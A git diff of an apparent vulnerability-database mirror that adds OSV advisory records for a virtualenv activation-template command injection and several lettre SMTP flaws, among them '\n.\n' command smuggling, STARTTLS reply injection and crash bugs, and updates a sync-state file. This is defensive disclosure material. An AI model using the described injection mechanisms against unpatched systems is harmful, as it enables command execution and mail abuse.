+{"schema_version":"1.9.2","id":"PYSEC-2026-4387","published":"2026-10-20T22:19:30.557Z","modified":"2026-11-18T12:11:04.341356971Z","aliases":["BIT-virtualenv-2026-113776","CVE-2026-113776","GHSA-8rjx-v5ww-45pp"],"details":"virtualenv is a tool for creating isolated virtual python environments. From 20.26.6 until 21.14.2, ViaTemplateActivator.instantiate_template() replaces placeholders one key at a time across the complete activation template, so trigger names such as __VIRTUAL_NAME__, __VIRTUAL_ENV__, or __VIRTUAL_PROMPT__ inside an already substituted and quoted environment path or prompt can be replaced during a later pass. The later value's quoting can close the earlier literal and execute the remaining path when a user activates the environment through bash, fish, xonsh, or activate_this.py. The distinct csh prompt-display token __VIRTUAL_PROMPT_DISPLAY_TCSH__ can instead break the generated script without establishing command execution. The attacker must influence the destination path or --prompt, and a value without a relevant placeholder name does not trigger this mechanism. This issue is fixed in version 21.14.2.","affected":[{"package":{"name":"virtualenv","ecosystem":"PyPI","purl":"pkg:pypi/virtualenv"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"20.26.6"},{"fixed":"21.14.2"}]}],"versions":["20.26.6","20.27.0","20.27.1","20.28.0","20.28.1","20.29.0","20.29.1","20.29.2","20.29.3","20.30.0","20.31.0","20.31.1","20.31.2","20.32.0","20.33.0","20.33.1","20.34.0","20.35.0","20.35.1","20.35.2","20.35.3","20.35.4","20.36.0","20.36.1","20.38.0","20.39.0","20.39.1","21.0.0","21.1.0","21.10.0","21.11.0","21.11.1","21.12.0","21.12.1","21.13.0","21.14.0","21.14.1","21.2.0","21.2.1","21.2.2","21.2.3","21.2.4","21.3.0","21.3.1","21.3.2","21.3.3","21.4.0","21.4.1","21.4.2","21.4.3","21.5.0","21.5.1","21.5.2","21.6.0","21.6.1","21.7.0","21.7.1","21.7.10","21.7.11","21.7.12","21.7.13","21.7.14","21.7.15","21.7.16","21.7.2","21.7.3","21.7.4","21.7.5","21.7.6","21.7.7","21.7.8","21.7.9","21.8.1","21.9.0","21.9.1"],"ecosystem_specific":{},"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/virtualenv/PYSEC-2026-4387.yaml"}}],"references":[{"type":"ADVISORY","url":"https://github.com/pypa/virtualenv/releases/tag/21.14.2"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/commit/602b26623a724827ff171bf11fef4ad186d01f74"},{"type":"FIX","url":"https://github.com/pypa/virtualenv/security/advisories/GHSA-8rjx-v5ww-45pp"}],"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2021-0069.json b/data/crates.io/RUSTSEC-2021-0069.json index eaf17fc790..802f6979bf 100644 --- a/data/crates.io/RUSTSEC-2021-0069.json +++ b/data/crates.io/RUSTSEC-2021-0069.json @@ -1 +1 @@ -{"schema_version":"1.7.3","id":"RUSTSEC-2021-0069","published":"2021-05-22T12:00:00Z","modified":"2023-11-08T04:06:25.799670Z","aliases":["CVE-2021-38189","GHSA-qc36-q22q-cjw3"],"summary":"SMTP command injection in body","details":"Affected versions of lettre allowed SMTP command injection through an attacker's controlled message body. The module for escaping lines starting with a period wouldn't catch a period that was placed after a double CRLF sequence, allowing the attacker to end the current message and write arbitrary SMTP commands after it.\n\nThe flaw is fixed by correctly handling consecutive CRLF sequences.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.9.6"},{"introduced":"0.10.0-alpha.1"},{"fixed":"0.10.0-rc.3"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["lettre::smtp::SmtpTransport::send","lettre::transport::smtp::SmtpTransport::send","lettre::transport::smtp::SmtpTransport::send_raw"],"os":[]}},"database_specific":{"categories":["format-injection"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2021-0069.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2021-0069.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/pull/627/commits/93458d01fed0ec81c0e7b4e98e6f35961356fae2"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file +{"schema_version":"1.7.3","id":"RUSTSEC-2021-0069","published":"2021-05-22T12:00:00Z","modified":"2026-11-18T09:27:05.722281425Z","aliases":["CVE-2021-38189","GHSA-qc36-q22q-cjw3"],"related":["RUSTSEC-2026-0561"],"summary":"SMTP command injection in body","details":"Affected versions of lettre allowed SMTP command injection through an attacker's controlled message body. The module for escaping lines starting with a period wouldn't catch a period that was placed after a double CRLF sequence, allowing the attacker to end the current message and write arbitrary SMTP commands after it.\n\nThe flaw is fixed by correctly handling consecutive CRLF sequences.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.7.0"},{"fixed":"0.9.6"},{"introduced":"0.10.0-alpha.1"},{"fixed":"0.10.0-rc.3"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["lettre::smtp::SmtpTransport::send","lettre::transport::smtp::SmtpTransport::send","lettre::transport::smtp::SmtpTransport::send_raw"],"os":[]}},"database_specific":{"categories":["format-injection"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2021-0069.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2021-0069.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/pull/627/commits/93458d01fed0ec81c0e7b4e98e6f35961356fae2"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0560.json b/data/crates.io/RUSTSEC-2026-0560.json new file mode 100644 index 0000000000..98d6006728 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0560.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0560","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.378427827Z","aliases":["GHSA-q3jf-wmp2-47pg"],"summary":"STARTTLS response injection allows a man-in-the-middle to forge SMTP replies","details":"A man-in-the-middle can append replies of their own to the cleartext reply to\n`STARTTLS`. The client takes them for the server's replies to the commands it\nthen sends over TLS, so the attacker can, for example, make a message that the\nserver rejected look accepted.\n\nOnly connections upgraded with `STARTTLS` are affected (`Tls::Required` and\n`Tls::Opportunistic`, as set up by `starttls_relay`). Implicit TLS\n(`Tls::Wrapper`, as set up by `relay`) is not.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["crypto-failure"],"cvss":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L","informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0560.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0560.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/b404122f1b51cdfa32662661849aa3a22e02af38"}],"database_specific":{"license":"CC0-1.0"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:L"}]} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0561.json b/data/crates.io/RUSTSEC-2026-0561.json new file mode 100644 index 0000000000..91eb2a1ca6 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0561.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0561","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.375527004Z","related":["RUSTSEC-2021-0069"],"summary":"Missing dot-stuffing after a bare LF or CR allows SMTP command injection","details":"Someone who controls the content of a message with bare LF or CR line endings\ncan end it early with `\\n.\\n` on a server that takes a bare LF for a line\nending. What follows is read by the server as SMTP commands, which can be used\nto send other messages over the same authenticated connection.\n\nThis affects messages passed to `send_raw`, and message bodies that are sent\nwithout being encoded. The LF line endings of a `String` body are converted to\nCRLF before it is sent.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["format-injection"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0561.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0561.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/3d9a6e6a467c6ce00bd39ada6aa1a00e57540a1d"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0562.json b/data/crates.io/RUSTSEC-2026-0562.json new file mode 100644 index 0000000000..a6448a15a3 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0562.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0562","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.387013466Z","aliases":["GHSA-23wm-4vvw-r7p2"],"summary":"Panic on an `EHLO` reply line of only white space allows denial of service","details":"A malicious or compromised server can reply to `EHLO` with a line holding\nnothing but white space, causing the client to panic.\n\nApplications that connect only to a trusted server over implicit TLS are not\nexposed; the risk applies to clients that may connect to untrusted servers, or\nthat use `STARTTLS` or no TLS, where a man-in-the-middle can forge the reply.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":["lettre::smtp::extension::ServerInfo::from_response","lettre::transport::smtp::extension::ServerInfo::from_response"],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0562.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0562.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/4a58794b672542d5bfea5a40505bb20627122086"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0563.json b/data/crates.io/RUSTSEC-2026-0563.json new file mode 100644 index 0000000000..9e88beeadd --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0563.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0563","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.375783505Z","aliases":["GHSA-62w5-58xq-p27j"],"summary":"Messages for an address with a quoted local part are sent to a different address","details":"A message whose sender or recipient has a quoted local part is sent with a\ndifferent address in its envelope than the one the application was given:\n`\"d \"@example.com` becomes `d@example.com`. Someone who can choose such an\naddress can have a message delivered to another mailbox than the one the\napplication validated.\n\nAddresses without a quoted local part are not affected.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.11.0"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["privilege-escalation"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0563.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0563.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/f4d5abc67072c5f35c5cccac6370e94a842cb26c"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0564.json b/data/crates.io/RUSTSEC-2026-0564.json new file mode 100644 index 0000000000..bab5554d29 --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0564.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0564","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.372549826Z","summary":"Panic on a mailbox display name containing CR or LF allows denial of service","details":"A `Mailbox` whose display name contains a CR or LF panics when it is formatted\nor put in a header such as `From` or `To`. Someone who can choose a display\nname, for example the name of a user a message is sent to, can crash the\nthread or task building the message.\n\nApplications that take display names only from trusted input are not exposed.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.10.0-rc.5"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0564.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0564.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/0ad883cdb20c256ab29c9d002fd4cc55c5d8abfe"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/data/crates.io/RUSTSEC-2026-0565.json b/data/crates.io/RUSTSEC-2026-0565.json new file mode 100644 index 0000000000..4c350d896f --- /dev/null +++ b/data/crates.io/RUSTSEC-2026-0565.json @@ -0,0 +1 @@ +{"schema_version":"1.9.2","id":"RUSTSEC-2026-0565","published":"2026-11-17T12:00:00Z","modified":"2026-11-18T09:15:02.379894916Z","aliases":["GHSA-pmvc-x69f-5p9f"],"summary":"Unbounded buffering of an SMTP reply allows a malicious server to exhaust memory","details":"A malicious or compromised server can send a reply line that never ends, which\nthe client buffers until memory runs out. A reply made of many short lines also\nkeeps a CPU core busy: for a few seconds per reply since 0.11.22, for as long\nas the server wants before it.\n\nApplications that connect only to a trusted server over implicit TLS are not\nexposed; the risk applies to clients that may connect to untrusted servers, or\nthat use `STARTTLS` or no TLS, where a man-in-the-middle can forge the reply.","affected":[{"package":{"name":"lettre","ecosystem":"crates.io","purl":"pkg:cargo/lettre"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0.0.0-0"},{"fixed":"0.11.24"}]}],"ecosystem_specific":{"affected_functions":null,"affects":{"arch":[],"functions":[],"os":[]}},"database_specific":{"categories":["denial-of-service"],"cvss":null,"informational":null,"source":"https://github.com/rustsec/advisory-db/blob/osv/crates/RUSTSEC-2026-0565.json"}}],"references":[{"type":"PACKAGE","url":"https://crates.io/crates/lettre"},{"type":"ADVISORY","url":"https://rustsec.org/advisories/RUSTSEC-2026-0565.html"},{"type":"WEB","url":"https://github.com/lettre/lettre/commit/075849fb9f2c956202aaaf2ff73e41f995d02f35"}],"database_specific":{"license":"CC0-1.0"}} \ No newline at end of file diff --git a/state/sync.json b/state/sync.json index 13c44b9164..c6a75cbd30 100644 --- a/state/sync.json +++ b/state/sync.json @@ -25,10 +25,10 @@ "records": 2014 }, "OSS-Fuzz": { - "etag": "\"1dab63c5c1ec0f7c123f536e65c6f8a5\"", - "last_modified": "Tue, 17 Nov 2026 22:48:08 GMT", - "last_success": "2026-11-18T00:44:19.093785+00:00", - "records": 4301 + "etag": "\"badd37d0c874ad2952bb38f311abfd49\"", + "last_modified": "Wed, 18 Nov 2026 12:33:12 GMT", + "last_success": "2026-11-18T12:42:05.776680+00:00", + "records": 4303 }, "Packagist": { "etag": "\"fe6150fc9baf41a9bde4b71c3398a9b3\"", @@ -37,10 +37,10 @@ "records": 7460 }, "PyPI": { - "etag": "\"ae99556ce1ac30268d4c7d2b4e896e92\"", - "last_modified": "Wed, 18 Nov 2026 06:33:12 GMT", - "last_success": "2026-11-18T06:41:52.981186+00:00", - "records": 26975 + "etag": "\"cff55a675ef8a5d6894df59db1e428a8\"", + "last_modified": "Wed, 18 Nov 2026 12:18:21 GMT", + "last_success": "2026-11-18T12:41:57.636047+00:00", + "records": 26992 }, "RubyGems": { "etag": "\"b0078a0255e8b94ccb09aea1e547a4b7\"", @@ -49,10 +49,10 @@ "records": 5535 }, "crates.io": { - "etag": "\"195ad466806c26ba3ba72581e99d0817\"", - "last_modified": "Tue, 17 Nov 2026 13:48:28 GMT", - "last_success": "2026-11-17T18:43:35.457212+00:00", - "records": 3166 + "etag": "\"32a564c20b25f7b77249626f20379c2b\"", + "last_modified": "Wed, 18 Nov 2026 09:33:11 GMT", + "last_success": "2026-11-18T12:42:01.513958+00:00", + "records": 3172 }, "npm": { "etag": "\"ca83b6fa9c8c26fa2e98079c90a9372e\"",